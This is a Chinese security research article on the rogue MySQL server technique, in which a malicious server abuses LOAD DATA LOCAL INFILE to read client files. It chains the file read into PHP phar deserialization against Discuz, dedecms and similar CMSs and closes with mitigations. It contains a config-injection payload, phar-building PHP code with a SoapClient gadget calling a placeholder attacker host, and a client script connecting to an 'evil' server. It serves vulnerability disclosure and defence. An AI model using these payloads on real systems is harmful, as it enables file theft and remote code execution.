做者:LoRexxar@知道創宇404實驗室 & Dawu@知道創宇404實驗室
原文地址:https://paper.seebug.org/1112/
英文版本:https://paper.seebug.org/1113/php
這應該是一個很早之前就爆出來的漏洞,而我見到的時候是在TCTF2018 final線下賽的比賽中,是被 Dragon Sector 和 Cykor 用來非預期h4x0r's club這題的一個技巧。html
http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/java
在後來的研究中,和@Dawu的討論中頓時以爲這應該是一個頗有趣的trick,在逐漸追溯這個漏洞的過去的過程當中,我漸漸發現這個問題做爲mysql的一份feature存在了不少年,從13年就有人分享這個問題。python
在圍繞這個漏洞的挖掘過程當中,咱們不斷地發現新的利用方式,因此將其中大部分的發現都總結並準備了議題在CSS上分享,下面讓咱們來一步步分析。mysql
================git
load data infile是一個很特別的語法,熟悉注入或者常常打CTF的朋友可能會對這個語法比較熟悉,在CTF中,咱們常常能遇到沒辦法load_file讀取文件的狀況,這時候惟一有可能讀到文件的就是load data infile,通常咱們經常使用的語句是這樣的:github
`load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\\n';`
mysql server會讀取服務端的/etc/passwd而後將數據按照'\n'
分割插入表中,但如今這個語句一樣要求你有FILE權限,以及非local加載的語句也受到secure_file_priv
的限制redis
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
若是咱們修改一下語句,加入一個關鍵字local。sql
mysql> load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\\n'; Query OK, 11 rows affected, 11 warnings (0.01 sec) Records: 11 Deleted: 0 Skipped: 0 Warnings: 11
加了local以後,這個語句就成了,讀取客戶端的文件發送到服務端,上面那個語句執行結果以下數據庫
很顯然,這個語句是不安全的,在mysql的文檔裏也充分說明了這一點
https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html
在mysql文檔中的說到,服務端能夠要求客戶端讀取有可讀權限的任何文件。
mysql認爲客戶端不該該鏈接到不可信的服務端。
咱們今天的這個問題,就是圍繞這個基礎展開的。
=======
在思考明白了前面的問題以後,核心問題就成了,咱們怎麼構造一個惡意的mysql服務端。
在搞清楚這個問題以前,咱們須要研究一下mysql正常執行連接和查詢的數據包結構。
一、greeting包,服務端返回了banner,其中包含mysql的版本
二、客戶端登陸請求
三、而後是初始化查詢,這裏由於是phpmyadmin因此初始化查詢比較多
四、load file local
因爲個人環境在windows下,因此這裏讀取爲C:/Windows/win.ini
,語句以下
load data local infile "C:/Windows/win.ini" into table test FIELDS TERMINATED BY '\\n';
首先是客戶端發送查詢
而後服務端返回了須要的路徑
而後客戶端直接把內容發送到了服務端
看起來流程很是清楚,並且客戶端讀取文件的路徑並非從客戶端指定的,而是發送到服務端,服務端制定的。
本來的查詢流程爲
客戶端:我要把win.ini插入test表中 服務端:我要你的win.ini內容 客戶端:win.ini的內容以下....
假設服務端由咱們控制,把一個正常的流程篡改爲以下
客戶端:我要test表中的數據 服務端:我要你的win.ini內容 客戶端:win.ini的內容以下???
上面的第三句究竟會不會執行呢?
讓咱們回到mysql的文檔中,文檔中有這麼一句話:
服務端能夠在任何查詢語句後回覆文件傳輸請求,也就是說咱們的想法是成立的
在深刻研究漏洞的過程當中,不難發現這個漏洞是否成立在於Mysql client端的配置問題,而通過一番研究,我發如今mysql登陸驗證的過程當中,會發送客戶端的配置。
在greeting包以後,客戶端就會連接並試圖登陸,同時數據包中就有關因而否容許使用load data local的配置,能夠從這裏直白的看出來客戶端是否存在這個問題(這裏返回的客戶端配置不必定是準確的,後面會提到這個問題)。
===
在想明白原理以後,構建惡意服務端就變得不那麼難了,流程很簡單 1.回覆mysql client一個greeting包 2.等待client端發送一個查詢包 3.回覆一個file transfer包
這裏主要是構造包格式的問題,能夠跟着原文以及各類文檔完成上述的幾回查詢.
值得注意的是,原做者給出的poc並無適配全部的狀況,部分mysql客戶端會在登錄成功以後發送ping包,若是沒有回覆就會斷開鏈接。也有部分mysql client端對greeting包有較強的校驗,建議直接抓包按照真實包內容來構造。
原做者給出的poc
https://github.com/Gifts/Rogue-MySql-Server
==
這裏用了一臺騰訊雲作服務端,客戶端使用phpmyadmin鏈接
咱們成功讀取了文件。
====
在這個漏洞到底有什麼影響的時候,咱們首先必須知道到底有什麼樣的客戶端受到這個漏洞的威脅。
--
在深刻挖掘這個漏洞的過程當中,第一時間想到的利用方式就是mysql探針,但惋惜的是,在測試了市面上的大部分探針後發現大部分的探針鏈接以後只接受了greeting包就斷開鏈接了,沒有任何查詢,盡職盡責。
國內
國際雲服務商
以前的一篇文章中提到過,在Excel中通常有這樣一個功能,從數據庫中同步數據到表格內,這樣一來就能夠經過上述方式讀取文件。
受到這個思路的啓發,咱們想到能夠找online的excel的這個功能,這樣就能夠實現任意文件讀取了。
Google 表格 (原生沒有這個功能,但卻支持插件,下面主要說插件)
- Advanced CFO Solutions MySQL Query failed
========
拋開咱們前面提的一些很特殊的場景下,咱們也要討論一些這個漏洞在通用場景下的利用攻擊鏈。
既然是圍繞任意文件讀取來討論,那麼最能直接想到的必定是有關配置文件的泄露所致使的漏洞了。
在Discuz x3.4的配置中存在這樣兩個文件
config/config\_ucenter.php config/config\_global.php
在dz的後臺,有一個ucenter的設置功能,這個功能中提供了ucenter的數據庫服務器配置功能,經過配置數據庫連接惡意服務器,能夠實現任意文件讀取獲取配置信息。
配置ucenter的訪問地址。
原地址: http://localhost:8086/upload/uc\_server 修改成: http://localhost:8086/upload/uc\_server\\');phpinfo();//
當咱們得到了authkey以後,咱們能夠經過admin的uid以及鹽來計算admin的cookie。而後用admin的cookie以及UC_KEY
來訪問便可生效
2018年BlackHat大會上的Sam Thomas分享的File Operation Induced Unserialization via the 「phar://」 Stream Wrapper議題,原文https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf。
在該議題中提到,在PHP中存在一個叫作Stream API,經過註冊拓展能夠註冊相應的僞協議,而phar這個拓展就註冊了phar://
這個stream wrapper。
在咱們知道創宇404實驗室安全研究員seaii曾經的研究(https://paper.seebug.org/680/)中表示,全部的文件函數都支持stream wrapper。
深刻到函數中,咱們能夠發現,能夠支持steam wrapper的緣由是調用了
stream = php\_stream\_open\_wrapper\_ex(filename, "rb" ....);
從這裏,咱們再回到mysql的load file local語句中,在mysqli中,mysql的讀文件是經過php的函數實現的
https://github.com/php/php-src/blob/master/ext/mysqlnd/mysqlnd\_loaddata.c#L43-L52 if (PG(open\_basedir)) { if (php\_check\_open\_basedir\_ex(filename, 0) == -1) { strcpy(info->error\_msg, "open\_basedir restriction in effect. Unable to open file"); info->error\_no = CR\_UNKNOWN\_ERROR; DBG\_RETURN(1); } } info->filename = filename; info->fd = php\_stream\_open\_wrapper\_ex((char \*)filename, "r", 0, NULL, context);
也一樣調用了php_stream_open_wrapper_ex
函數,也就是說,咱們一樣能夠經過讀取phar文件來觸發反序列化。
首先須要一個生成一個phar
pphar.php <?php class A { public $s \= ''; public function \_\_wakeup () { echo "pwned!!"; } } @unlink("phar.phar"); $phar \= new Phar("phar.phar"); //後綴名必須爲phar $phar\->startBuffering(); $phar\->setStub("GIF89a "."<?php \_\_HALT\_COMPILER(); ?>"); //設置stub $o \= new A(); $phar\->setMetadata($o); //將自定義的meta-data存入manifest $phar\->addFromString("test.txt", "test"); //添加要壓縮的文件 //簽名自動計算 $phar\->stopBuffering(); ?>
使用該文件生成一個phar.phar
而後咱們模擬一次查詢
test.php <?php class A { public $s \= ''; public function \_\_wakeup () { echo "pwned!!"; } } $m \= mysqli\_init(); mysqli\_options($m, MYSQLI\_OPT\_LOCAL\_INFILE, true); $s \= mysqli\_real\_connect($m, '{evil\_mysql\_ip}', 'root', '123456', 'test', 3667); $p \= mysqli\_query($m, 'select 1;'); // file\_get\_contents('phar://./phar.phar');
圖中咱們只作了select 1查詢,但咱們僞造的evil mysql server中驅使mysql client去作load file local
查詢,讀取了本地的
phar://./phar.phar
成功觸發反序列化
當一個反序列化漏洞出現的時候,咱們就須要從源代碼中去尋找合適的pop鏈,創建在pop鏈的利用基礎上,咱們能夠進一步的擴大反序列化漏洞的危害。
php序列化中常見的魔術方法有如下 - 當對象被建立的時候調用:construct - 當對象被銷燬的時候調用:destruct - 當對象被看成一個字符串使用時候調用:toString - 序列化對象以前就調用此方法(其返回須要是一個數組):sleep - 反序列化恢復對象以前就調用此方法:wakeup - 當調用對象中不存在的方法會自動調用此方法:call
配合與之相應的pop鏈,咱們就能夠把反序列化轉化爲RCE。
dedecms 後臺,模塊管理,安裝UCenter模塊。開始配置
首先須要找一個肯定的UCenter服務端,能夠經過找一個dz的站來作服務端。
而後就會觸發任意文件讀取,固然,若是讀取文件爲phar,則會觸發反序列化。
咱們須要先生成相應的phar
<?php class Control { var $tpl; // $a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa')); public $dsql; function \_\_construct(){ $this\->dsql \= new SoapClient(null,array('uri'\=>'http://xxxx:5555', 'location'\=>'http://xxxx:5555/aaa')); } function \_\_destruct() { unset($this\->tpl); $this\->dsql\->Close(TRUE); } } @unlink("dedecms.phar"); $phar \= new Phar("dedecms.phar"); $phar\->startBuffering(); $phar\->setStub("GIF89a"."<?php \_\_HALT\_COMPILER(); ?>"); //設置stub,增長gif文件頭 $o \= new Control(); $phar\->setMetadata($o); //將自定義meta-data存入manifest $phar\->addFromString("test.txt", "test"); //添加要壓縮的文件 //簽名自動計算 $phar\->stopBuffering(); ?>
而後咱們能夠直接經過前臺上傳頭像來傳文件,或者直接後臺也有文件上傳接口,而後將rogue mysql server來讀取這個文件
phar://./dedecms.phar/test.txt
監聽5555能夠收到
ssrf進一步能夠攻擊redis等拓展攻擊面,就很少說了。
CMS名 | 影響版本 | 是否存在mysql任意文件讀取 | 是否有可控的MySQL服務器設置 | 是否有可控的反序列化 | 是否可上傳phar | 補丁 |
---|---|---|---|---|---|---|
phpmyadmin | <4.8.5 | 是 | 是 | 是 | 是 | 補丁 |
Dz | 未修復 | 是 | 是 | 否 | None | None |
drupal | None | 否(使用PDO) | 否(安裝) | 是 | 是 | None |
dedecms | None | 是 | 是(ucenter) | 是(ssrf) | 是 | None |
ecshop | None | 是 | 是 | 否 | 是 | None |
禪道 | None | 否(PDO) | 否 | None | None | None |
phpcms | None | 是 | 是 | 是(ssrf) | 是 | None |
帝國cms | None | 是 | 是 | 否 | None | None |
phpwind | None | 否(PDO) | 是 | None | None | None |
mediawiki | None | 是 | 否(後臺沒有修改mysql配置的方法) | 是 | 是 | None |
Z-Blog | None | 是 | 否(後臺沒有修改mysql配置的方法) | 是 | 是 | None |
====
對於大多數mysql的客戶端來講,load file local是一個無用的語句,他的使用場景大可能是用於傳輸數據或者上傳數據等。對於客戶端來講,能夠直接關閉這個功能,並不會影響到正常的使用。
具體的關閉方式見文檔 -https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html
對於不一樣服務端來講,這個配置都有不一樣的關法,對於JDBC來講,這個配置叫作allowLoadLocalInfile
在php的mysqli和mysql兩種連接方式中,底層代碼直接決定了這個配置。
這個配置是PHP_INI_SYSTEM
,在php的文檔中,這個配置意味着Entry can be set in php.ini or httpd.conf
。
因此只有在php.ini中修改mysqli.allow_local_infile = Off
就能夠修復了。
在php7.3.4的更新中,mysqli中這個配置也被默認修改成關閉
惋惜在再也不更新的舊版本mysql5.6中,不管是mysql仍是mysqli默認都爲開啓狀態。
如今的代碼中也能夠經過mysqli_option
,在連接前配置這個選項。
http://php.net/manual/zh/mysqli.options.php
比較有趣的是,經過這種方式修復,雖然禁用了allow_local_infile
,可是若是使用wireshark抓包卻發現allow_local_infile
還是啓動的(可是無效)。
在舊版本的phpmyadmin中,先執行了mysqli_real_connect
,而後設置mysql_option
,這樣一來allow_local_infile
實際上被禁用了,可是在發起連接請求時中allow_local_infile
尚未被禁用。
其實是由於mysqli_real_connect
在執行的時候,會初始化allow_local_infile
。在php代碼底層mysqli_real_connect
實際是執行了mysqli_common_connect
。而在mysqli_common_connect
的代碼中,設置了一次allow_local_infile
。
若是在mysqli_real_connect
以前設置mysql_option
,其allow_local_infile
的配置會被覆蓋重寫,其修改就會無效。
phpmyadmin在1月22日也正是經過交換兩個函數的相對位置來修復了該漏洞。https://github.com/phpmyadmin/phpmyadmin/commit/c5e01f84ad48c5c626001cb92d7a95500920a900#diff-cd5e76ab4a78468a1016435eed49f79f
這是一個針對mysql feature的攻擊模式,思路很是有趣,就目前而言在mysql層面無法修復,只有在客戶端關閉了這個配置才能避免印象。雖然做爲攻擊面並非很普遍,但可能針對一些特殊場景的時候,能夠特別有效的將一個正常的功能轉化爲任意文件讀取,在拓展攻擊面上很是的有效。
詳細的攻擊場景這裏就不作假設了,危害仍是比較大的。